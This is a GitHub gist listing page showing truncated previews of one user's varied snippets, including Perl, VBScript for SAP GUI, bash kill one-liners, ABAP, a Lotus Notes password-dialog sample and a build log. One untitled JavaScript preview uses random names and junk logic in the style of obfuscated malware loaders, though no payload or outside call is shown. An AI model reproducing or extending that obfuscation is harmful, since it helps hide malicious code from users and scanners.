Skip to content

Instantly share code, notes, and snippets.

//===========================================================================
//
// Module:
// EXTPWD.C - Source for extension manager password override program
//
// Description:
// The purpose of this sample is to illustrate the work of the
// extension manager. Note that this sample is a modified
// version of the CAPI EXTPWD Sample which uses dialog box to
// obtain Notes password instead of reading it from a text file.
@kubrick06010
kubrick06010 / win32_prtscr.pl
Created November 5, 2012 01:57
A simple method of doing a screen capture on Windows. For a more flexible approach see Win32::Screenshot
#!/usr/bin/perl -w
use strict;
use Win32::Clipboard;
use Win32::GuiTest 'SendKeys';
# Send "Print Screen" key to Windows.
SendKeys('{PRTSCR}');
@kubrick06010
kubrick06010 / trim_subs.pl
Created November 6, 2012 04:27
Use the subroutine below to trim whitespace (spaces and tabs)
#!/usr/bin/perl
# Taken from http://www.somacon.com/p114.php
# Declare the subroutines
sub trim($);
sub ltrim($);
sub rtrim($);
# Create a test string
@kubrick06010
kubrick06010 / Script1.vbs
Created August 30, 2013 17:38
sapscript under vbs
'On Error Resume Next
'If Not IsObject(Application) Then
Set SapGuiAuto = GetObject("SAPgui")
Set oApplication = SapGuiAuto.GetScriptingEngine
'End If
If Not IsObject(Connection) Then
Set Connection = oApplication.Children(0)
End If
If Not IsObject(session) Then
@kubrick06010
kubrick06010 / kill.bash
Last active August 29, 2015 14:02
One liner para matar procesos (BASH)
kill `ps cax | grep -i '<nombre del proceso>'| awk -F\- '{print substr($1,2,6)*1}'`
kill `ps cax | grep -i '<nombre del proceso>' | cut -c 2-5`
var ampv9;
function Uwvrykm(UpOk0, Aoj2N, lkfI1, Bm6sEk, lzsaC, LPIT6d8, uO6iBev, sz7ut2)
{
var tEK2c = UpOk0;
UpOk0 += 'Kid72e23ds=HVsa';
if (UpOk0 == tEK2c) {
for (var xh2Io2f = 0; xh2Io2f < UpOk0.length; xh2Io2f++) {
if (xh2Io2f != 0x35) {
break;
}
<?php
/*
type: layout
name: Default
description: Default - 3 Columns
@kubrick06010
kubrick06010 / config.erros.log
Created September 17, 2015 03:10
building gperftools for osx 10.9
odisea:gperftools haa$ ./config
-bash: ./config: No such file or directory
odisea:gperftools haa$ ls
AUTHORS NEWS benchmark packages
COPYING README configure.ac src
ChangeLog README_windows.txt doc vsprojects
INSTALL TODO gperftools.sln
Makefile.am autogen.sh m4
odisea:gperftools haa$ make config
make: *** No rule to make target `config'. Stop.
@kubrick06010
kubrick06010 / damedolar.py
Last active August 22, 2024 12:35
one liner para ver el precio del dólar paralelo :(
python -c "import requests; print({key: value for key, value in requests.post('https://dolartoday.com/wp-admin/admin-ajax.php', data={'action': 'dt_currency_calculator_handler', 'amount': '1'}).json().items()})"
@kubrick06010
kubrick06010 / z_find_userexit.abap
Created February 9, 2017 20:52
Looking for SAP user exits for a specific transaction?
REPORT z_find_userexit NO STANDARD PAGE HEADING.
"Author: Arminda Jack (https://people.sap.com/arminda.jack)
&———————————————————————
*& Enter the transaction code that you want to search through in order
*& to find which Standard SAP® User Exits exists.
&———————————————————————